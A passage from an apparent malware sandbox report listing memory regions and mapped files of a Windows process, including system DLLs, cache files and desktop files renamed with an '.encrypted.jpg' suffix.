5845 start_va = 0x7ff640434000 end_va = 0x7ff640435fff entry_point = 0x0 region_type = private name = "private_0x00007ff640434000" filename = "" Region: id = 5846 start_va = 0xdc70000 end_va = 0xdc85fff entry_point = 0x0 region_type = private name = "private_0x000000000dc70000" filename = "" Region: id = 5847 start_va = 0x7ffd1b430000 end_va = 0x7ffd1b6b2fff entry_point = 0x7ffd1b431dac region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 5848 start_va = 0xdc60000 end_va = 0xdc62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dc60000" filename = "" Region: id = 5894 start_va = 0x7ffd15200000 end_va = 0x7ffd15297fff entry_point = 0x7ffd15200000 region_type = mapped_file name = "pnidui.dll" filename = "\\Windows\\System32\\pnidui.dll" (normalized: "c:\\windows\\system32\\pnidui.dll") Region: id = 5895 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 5896 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 5897 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 5898 start_va = 0x7ffd19f50000 end_va = 0x7ffd19f6bfff entry_point = 0x7ffd19f51070 region_type = mapped_file name = "networkstatus.dll" filename = "\\Windows\\System32\\NetworkStatus.dll" (normalized: "c:\\windows\\system32\\networkstatus.dll") Region: id = 5899 start_va = 0x4650000 end_va = 0x4650fff entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 5900 start_va = 0xdc90000 end_va = 0xdd0ffff entry_point = 0x0 region_type = private name = "private_0x000000000dc90000" filename = "" Region: id = 5901 start_va = 0x7ff640432000 end_va = 0x7ff640433fff entry_point = 0x0 region_type = private name = "private_0x00007ff640432000" filename = "" Region: id = 5902 start_va = 0x4650000 end_va = 0x4681fff entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 5903 start_va = 0x7ffd152f0000 end_va = 0x7ffd1534bfff entry_point = 0x7ffd152f0000 region_type = mapped_file name = "ncsi.dll" filename = "\\Windows\\System32\\ncsi.dll" (normalized: "c:\\windows\\system32\\ncsi.dll") Region: id = 5904 start_va = 0x7ffd15130000 end_va = 0x7ffd151f4fff entry_point = 0x7ffd15130000 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 5905 start_va = 0x7ffd18220000 end_va = 0x7ffd18286fff entry_point = 0x7ffd18221c14 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 5906 start_va = 0x7ffd181a0000 end_va = 0x7ffd181b3fff entry_point = 0x7ffd181a1780 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 5907 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 5908 start_va = 0x7ffd18180000 end_va = 0x7ffd18198fff entry_point = 0x7ffd18181dcc region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 5914 start_va = 0x7ffd15310000 end_va = 0x7ffd1534cfff entry_point = 0x7ffd15310000 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 5966 start_va = 0xdd10000 end_va = 0xdd8ffff entry_point = 0x0 region_type = private name = "private_0x000000000dd10000" filename = "" Region: id = 5967 start_va = 0x7ff640430000 end_va = 0x7ff640431fff entry_point = 0x0 region_type = private name = "private_0x00007ff640430000" filename = "" Region: id = 5977 start_va = 0x7ffd15120000 end_va = 0x7ffd151fafff entry_point = 0x7ffd15120000 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 6019 start_va = 0x4650000 end_va = 0x4650fff entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 6020 start_va = 0x4650000 end_va = 0x4650fff entry_point = 0x0 region_type = private name = "private_0x0000000004650000" filename = "" Region: id = 6021 start_va = 0x4650000 end_va = 0x4651fff entry_point = 0x4650000 region_type = mapped_file name = "aaphrje[2].jpg" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Notifications\\3ef54ae93acb11e78251b4475e61765c\\AApHrJE[2].jpg" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\notifications\\3ef54ae93acb11e78251b4475e61765c\\aaphrje[2].jpg") Region: id = 6022 start_va = 0x4650000 end_va = 0x4653fff entry_point = 0x4650000 region_type = mapped_file name = "cversions.2.db" filename = "\\ProgramData\\Microsoft\\Windows\\Caches\\cversions.2.db" (normalized: "c:\\programdata\\microsoft\\windows\\caches\\cversions.2.db") Region: id = 6023 start_va = 0x4660000 end_va = 0x4661fff entry_point = 0x4660000 region_type = mapped_file name = "aaphrje[2].jpg" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Notifications\\3ef54ae93acb11e78251b4475e61765c\\AApHrJE[2].jpg" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\notifications\\3ef54ae93acb11e78251b4475e61765c\\aaphrje[2].jpg") Region: id = 6024 start_va = 0x4660000 end_va = 0x4660fff entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 6025 start_va = 0x4670000 end_va = 0x4685fff entry_point = 0x0 region_type = private name = "private_0x0000000004670000" filename = "" Region: id = 6030 start_va = 0x4660000 end_va = 0x4667fff entry_point = 0x0 region_type = private name = "private_0x0000000004660000" filename = "" Region: id = 6031 start_va = 0x50a0000 end_va = 0x511ffff entry_point = 0x0 region_type = private name = "private_0x00000000050a0000" filename = "" Region: id = 6032 start_va = 0x7ff64042e000 end_va = 0x7ff64042ffff entry_point = 0x0 region_type = private name = "private_0x00007ff64042e000" filename = "" Region: id = 6033 start_va = 0x7ffd15060000 end_va = 0x7ffd15111fff entry_point = 0x7ffd15060000 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 6034 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 6035 start_va = 0x5130000 end_va = 0x5130fff entry_point = 0x0 region_type = private name = "private_0x0000000005130000" filename = "" Region: id = 6036 start_va = 0x7ffd152c0000 end_va = 0x7ffd152cffff entry_point = 0x7ffd152c0000 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 6037 start_va = 0x5140000 end_va = 0x51bffff entry_point = 0x0 region_type = private name = "private_0x0000000005140000" filename = "" Region: id = 6038 start_va = 0x7ff64042c000 end_va = 0x7ff64042dfff entry_point = 0x0 region_type = private name = "private_0x00007ff64042c000" filename = "" Region: id = 6039 start_va = 0x7ffd15050000 end_va = 0x7ffd1505bfff entry_point = 0x7ffd15050000 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 6040 start_va = 0x5120000 end_va = 0x5139fff entry_point = 0x5120000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 6041 start_va = 0x51c0000 end_va = 0x51f1fff entry_point = 0x0 region_type = private name = "private_0x00000000051c0000" filename = "" Region: id = 6042 start_va = 0x5200000 end_va = 0x52fffff entry_point = 0x5200000 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 6043 start_va = 0x5300000 end_va = 0x532ffff entry_point = 0x5300000 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 6075 start_va = 0x5340000 end_va = 0x5387fff entry_point = 0x0 region_type = private name = "private_0x0000000005340000" filename = "" Region: id = 6076 start_va = 0x5390000 end_va = 0x53a9fff entry_point = 0x5390000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 6077 start_va = 0x53b0000 end_va = 0x54affff entry_point = 0x53b0000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6078 start_va = 0x54b0000 end_va = 0x550ffff entry_point = 0x54b0000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6079 start_va = 0x5390000 end_va = 0x53d7fff entry_point = 0x0 region_type = private name = "private_0x0000000005390000" filename = "" Region: id = 6080 start_va = 0x53e0000 end_va = 0x53f9fff entry_point = 0x53e0000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 6081 start_va = 0x5400000 end_va = 0x54fffff entry_point = 0x5400000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6082 start_va = 0x5500000 end_va = 0x555ffff entry_point = 0x5500000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6083 start_va = 0x5400000 end_va = 0x54fffff entry_point = 0x5400000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6084 start_va = 0x5500000 end_va = 0x556ffff entry_point = 0x5500000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6089 start_va = 0x5330000 end_va = 0x5333fff entry_point = 0x0 region_type = private name = "private_0x0000000005330000" filename = "" Region: id = 6090 start_va = 0x53e0000 end_va = 0x5427fff entry_point = 0x0 region_type = private name = "private_0x00000000053e0000" filename = "" Region: id = 6091 start_va = 0x54b0000 end_va = 0x552ffff entry_point = 0x0 region_type = private name = "private_0x00000000054b0000" filename = "" Region: id = 6092 start_va = 0x5530000 end_va = 0x5530fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005530000" filename = "" Region: id = 6093 start_va = 0xdd90000 end_va = 0xde0ffff entry_point = 0x0 region_type = private name = "private_0x000000000dd90000" filename = "" Region: id = 6094 start_va = 0x7ff640426000 end_va = 0x7ff640427fff entry_point = 0x0 region_type = private name = "private_0x00007ff640426000" filename = "" Region: id = 6095 start_va = 0x7ff640428000 end_va = 0x7ff640429fff entry_point = 0x0 region_type = private name = "private_0x00007ff640428000" filename = "" Region: id = 6096 start_va = 0x7ff64042a000 end_va = 0x7ff64042bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64042a000" filename = "" Region: id = 6097 start_va = 0x5430000 end_va = 0x5433fff entry_point = 0x5430000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 6118 start_va = 0xde10000 end_va = 0xdf0ffff entry_point = 0xde10000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6128 start_va = 0x7ffd14dc0000 end_va = 0x7ffd14f5bfff entry_point = 0x7ffd14dc0000 region_type = mapped_file name = "networkexplorer.dll" filename = "\\Windows\\System32\\networkexplorer.dll" (normalized: "c:\\windows\\system32\\networkexplorer.dll") Region: id = 6129 start_va = 0x5440000 end_va = 0x5446fff entry_point = 0x5440000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6130 start_va = 0x5450000 end_va = 0x5453fff entry_point = 0x5450000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6131 start_va = 0xdf10000 end_va = 0xe70ffff entry_point = 0x0 region_type = private name = "private_0x000000000df10000" filename = "" Region: id = 6132 start_va = 0x5460000 end_va = 0x547cfff entry_point = 0x5460000 region_type = mapped_file name = "cachedimage_1440_900_pos4.jpg" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg") Region: id = 6133 start_va = 0xe710000 end_va = 0xec01fff entry_point = 0x0 region_type = private name = "private_0x000000000e710000" filename = "" Region: id = 6139 start_va = 0x5460000 end_va = 0x5479fff entry_point = 0x5460000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 6141 start_va = 0xec10000 end_va = 0xed0ffff entry_point = 0xec10000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6142 start_va = 0x5540000 end_va = 0x559ffff entry_point = 0x5540000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6143 start_va = 0x5480000 end_va = 0x5480fff entry_point = 0x5480000 region_type = mapped_file name = "adobe reader xi.lnk" filename = "\\Users\\Public\\Desktop\\Adobe Reader XI.lnk" (normalized: "c:\\users\\public\\desktop\\adobe reader xi.lnk") Region: id = 6144 start_va = 0x58e0000 end_va = 0x58e0fff entry_point = 0x0 region_type = private name = "private_0x00000000058e0000" filename = "" Region: id = 6145 start_va = 0x5480000 end_va = 0x5482fff entry_point = 0x0 region_type = private name = "private_0x0000000005480000" filename = "" Region: id = 6146 start_va = 0x7ffd14b80000 end_va = 0x7ffd14dbafff entry_point = 0x7ffd14b80000 region_type = mapped_file name = "grooveex.dll" filename = "\\PROGRA~1\\MICROS~1\\Office15\\GROOVEEX.DLL" (normalized: "c:\\progra~1\\micros~1\\office15\\grooveex.dll") Region: id = 6151 start_va = 0x5490000 end_va = 0x5491fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005490000" filename = "" Region: id = 6152 start_va = 0x5e6d0000 end_va = 0x5e7a1fff entry_point = 0x5e6f14e4 region_type = mapped_file name = "msvcr100.dll" filename = "\\Windows\\System32\\msvcr100.dll" (normalized: "c:\\windows\\system32\\msvcr100.dll") Region: id = 6153 start_va = 0x5e630000 end_va = 0x5e6c7fff entry_point = 0x5e630000 region_type = mapped_file name = "msvcp100.dll" filename = "\\Windows\\System32\\msvcp100.dll" (normalized: "c:\\windows\\system32\\msvcp100.dll") Region: id = 6158 start_va = 0x54a0000 end_va = 0x54a0fff entry_point = 0x54a0000 region_type = mapped_file name = "google chrome.lnk" filename = "\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk") Region: id = 6159 start_va = 0x58f0000 end_va = 0x5909fff entry_point = 0x58f0000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 6160 start_va = 0xed10000 end_va = 0xee0ffff entry_point = 0xed10000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6161 start_va = 0x5e600000 end_va = 0x5e62afff entry_point = 0x5e600000 region_type = mapped_file name = "atl100.dll" filename = "\\Windows\\System32\\atl100.dll" (normalized: "c:\\windows\\system32\\atl100.dll") Region: id = 6162 start_va = 0xdd90000 end_va = 0xdddffff entry_point = 0x0 region_type = private name = "private_0x000000000dd90000" filename = "" Region: id = 6163 start_va = 0xee10000 end_va = 0xee7ffff entry_point = 0xee10000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6165 start_va = 0x54a0000 end_va = 0x54a6fff entry_point = 0x0 region_type = private name = "private_0x00000000054a0000" filename = "" Region: id = 6166 start_va = 0x5930000 end_va = 0x593ffff entry_point = 0x0 region_type = private name = "private_0x0000000005930000" filename = "" Region: id = 6167 start_va = 0x5440000 end_va = 0x5443fff entry_point = 0x0 region_type = private name = "private_0x0000000005440000" filename = "" Region: id = 6168 start_va = 0x7ffd14f60000 end_va = 0x7ffd15041fff entry_point = 0x7ffd14f61088 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 6169 start_va = 0x7ffd186b0000 end_va = 0x7ffd18957fff entry_point = 0x7ffd186b0000 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 6170 start_va = 0x5450000 end_va = 0x5451fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000005450000" filename = "" Region: id = 6173 start_va = 0xee80000 end_va = 0xeefffff entry_point = 0x0 region_type = private name = "private_0x000000000ee80000" filename = "" Region: id = 6174 start_va = 0x7ff64042a000 end_va = 0x7ff64042bfff entry_point = 0x0 region_type = private name = "private_0x00007ff64042a000" filename = "" Region: id = 6176 start_va = 0xef00000 end_va = 0xf3fffff entry_point = 0xef00000 region_type = mapped_file name = "office.odf" filename = "\\Program Files\\Common Files\\microsoft shared\\OFFICE15\\Cultures\\OFFICE.ODF" (normalized: "c:\\program files\\common files\\microsoft shared\\office15\\cultures\\office.odf") Region: id = 6177 start_va = 0xf400000 end_va = 0xf4fffff entry_point = 0x0 region_type = private name = "private_0x000000000f400000" filename = "" Region: id = 6178 start_va = 0x7ffd14040000 end_va = 0x7ffd14678fff entry_point = 0x7ffd14040000 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\PROGRA~1\\MICROS~1\\Office15\\1033\\GrooveIntlResource.dll" (normalized: "c:\\progra~1\\micros~1\\office15\\1033\\grooveintlresource.dll") Region: id = 6186 start_va = 0x5480000 end_va = 0x5483fff entry_point = 0x5480000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 6187 start_va = 0xf500000 end_va = 0xf5fffff entry_point = 0xf500000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6188 start_va = 0x7ffd1aad0000 end_va = 0x7ffd1ab36fff entry_point = 0x7ffd1aad0000 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 6195 start_va = 0x5940000 end_va = 0x5956fff entry_point = 0x5940000 region_type = mapped_file name = "k9uoo8fw7r.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\k9uoo8fW7r.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\k9uoo8fw7r.encrypted.jpg") Region: id = 6196 start_va = 0xf600000 end_va = 0xf67ffff entry_point = 0x0 region_type = private name = "private_0x000000000f600000" filename = "" Region: id = 6197 start_va = 0x7ff640426000 end_va = 0x7ff640427fff entry_point = 0x0 region_type = private name = "private_0x00007ff640426000" filename = "" Region: id = 6198 start_va = 0x5940000 end_va = 0x5955fff entry_point = 0x5940000 region_type = mapped_file name = "kqg5xtni4dupero o1m.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\kQG5XtNI4DupERo o1m.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\kqg5xtni4dupero o1m.encrypted.jpg") Region: id = 6199 start_va = 0x5940000 end_va = 0x5943fff entry_point = 0x5940000 region_type = mapped_file name = "ostre2ekexrlom6.encrypted.jpg" filename = "\\Users\\5JgHKoaOfdp\\Desktop\\osTre2ekexRLOM6.encrypted.jpg" (normalized: "c:\\users\\5jghkoaofdp\\desktop\\ostre2ekexrlom6.encrypted.jpg") Region: id = 6200 start_va = 0x5940000 end_va = 0x5959fff entry_point = 0x5940000 region_type = mapped_file name = "iconcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_idx.db") Region: id = 6201 start_va = 0xf680000 end_va = 0xf77ffff entry_point = 0xf680000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6202 start_va = 0x7ffd1aa90000 end_va = 0x7ffd1aac5fff entry_point = 0x7ffd1aa90000 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 6203 start_va = 0xf780000 end_va = 0xf7dffff entry_point = 0xf780000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6204 start_va = 0xdc50000 end_va = 0xdc58fff entry_point = 0x0 region_type = private name = "private_0x000000000dc50000" filename = "" Region: id = 6205 start_va = 0xdd90000 end_va = 0xdda2fff entry_point = 0xdd90000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6206 start_va = 0xddb0000 end_va = 0xddb2fff entry_point = 0x0 region_type = private name = "private_0x000000000ddb0000" filename = "" Region: id = 6207 start_va = 0xddd0000 end_va = 0xdddffff entry_point = 0x0 region_type = private name = "private_0x000000000ddd0000" filename = "" Region: id = 6208 start_va = 0x7ffd1a9e0000 end_va = 0x7ffd1aa83fff entry_point = 0x7ffd1a9e0000 region_type = mapped_file name = "cscui.dll" filename = "\\Windows\\System32\\cscui.dll" (normalized: "c:\\windows\\system32\\cscui.dll") Region: id = 6209 start_va = 0xdc50000 end_va = 0xdc56fff entry_point = 0xdc50000 region_type = mapped_file name = "iconcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_48.db") Region: id = 6210 start_va = 0xdd90000 end_va = 0xdd98fff entry_point = 0x0 region_type = private name = "private_0x000000000dd90000" filename = "" Region: id = 6211 start_va = 0xdda0000 end_va = 0xdda2fff entry_point = 0x0 region_type = private name = "private_0x000000000dda0000" filename = "" Region: id = 6212 start_va = 0x7ffd1a960000 end_va = 0x7ffd1a96bfff entry_point = 0x7ffd1a960000 region_type = mapped_file name = "cscdll.dll" filename = "\\Windows\\System32\\cscdll.dll" (normalized: "c:\\windows\\system32\\cscdll.dll") Region: id = 6213 start_va = 0xdc50000 end_va = 0xdc51fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dc50000" filename = "" Region: id = 6214 start_va = 0x7ffd13da0000 end_va = 0x7ffd14038fff entry_point = 0x7ffd13da0000 region_type = mapped_file name = "gameux.dll" filename = "\\Windows\\System32\\gameux.dll" (normalized: "c:\\windows\\system32\\gameux.dll") Region: id = 6216 start_va = 0xdd90000 end_va = 0xdd92fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000dd90000" filename = "" Region: id = 6217 start_va = 0xf7e0000 end_va = 0xf85ffff entry_point = 0x0 region_type = private name = "private_0x000000000f7e0000" filename = "" Region: id = 6218 start_va = 0x7ff640424000 end_va = 0x7ff640425fff entry_point = 0x0 region_type = private name = "private_0x00007ff640424000" filename = "" Region: id = 6221 start_va = 0xdda0000 end_va = 0xdda3fff entry_point = 0xdda0000 region_type = mapped_file name = "thumbcache_idx.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_idx.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_idx.db") Region: id = 6222 start_va = 0xf860000 end_va = 0xf95ffff entry_point = 0xf860000 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\5JgHKoaOfdp\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\5jghkoaofdp\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 6223 start_va = 